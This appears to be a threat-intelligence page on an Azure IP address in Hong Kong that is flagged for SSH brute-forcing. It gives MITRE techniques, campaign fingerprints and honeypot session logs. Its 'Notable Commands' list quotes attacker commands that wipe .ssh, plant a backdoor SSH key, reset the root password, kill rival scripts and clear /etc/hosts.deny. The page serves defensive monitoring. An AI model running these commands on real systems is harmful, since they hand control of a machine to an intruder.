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20.2.83.149

TAGGED MALICIOUS how we decide →
Threat Confidence
52%
Location
🇭🇰 HK / Hong Kong
ASN
AS8075 · Microsoft Corporation
Cloud Provider
Microsoft Azure
Total Events
95
Above average by volume
Agent Count
1
First / Last Seen
2026-04-01 07:07 — 2026-04-26 17:43
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595 T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Discovery
T1046 T1082 T1083
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (590 IPs, 76 countries) HASSH Active high 🇮🇩 ID
590 IPs 227880 events
ssh:bruteforce
2026-02-28 — ongoing · 590 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: PT Cloud Hosting Indonesia (AS136052). …
Session Forensics
scanner ×1 malware_dropper ×2 credential_probe ×2 opportunistic_bruter ×1
Sessions
6 (3 with login)
Avg Depth Score
0.51
Commands Executed
23
Files Downloaded
3
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
  • cat /proc/cpuinfo | grep name | wc -l
  • echo "root:oZTZXXNvkDpz"|chpasswd|bash
  • rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
  • cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  • free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  • ls -lh $(which ls)
  • which ls
Fingerprints
HASSH
03a80b21afa810682a776a7d42e5e6fbaf8223ac9914f509afdadfaf5f7ee94e
SSH Client
SSH-2.0-libssh_0.11.1SSH-2.0-libssh_0.12.0
Evidence Timeline
Malware Dropper 5101fcfbf383 w4m_singapore_01 · 2026-04-26 17:39
20 2 1 100%
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Scanner 56e229915a5c w4m_singapore_01 · 2026-04-26 17:41
15%
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Credential Probe 946cf772c9c0 w4m_singapore_01 · 2026-04-26 17:40
1 20%
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Opportunistic Bruter 66ae6e05f9da w4m_singapore_01 · 2026-04-01 07:07
1 50%
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Malware Dropper 544752e93060 w4m_singapore_01 · 2026-04-01 07:07
3 1 1 100%
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Credential Probe e656662d10e1 w4m_singapore_01 · 2026-04-01 07:07
1 20%
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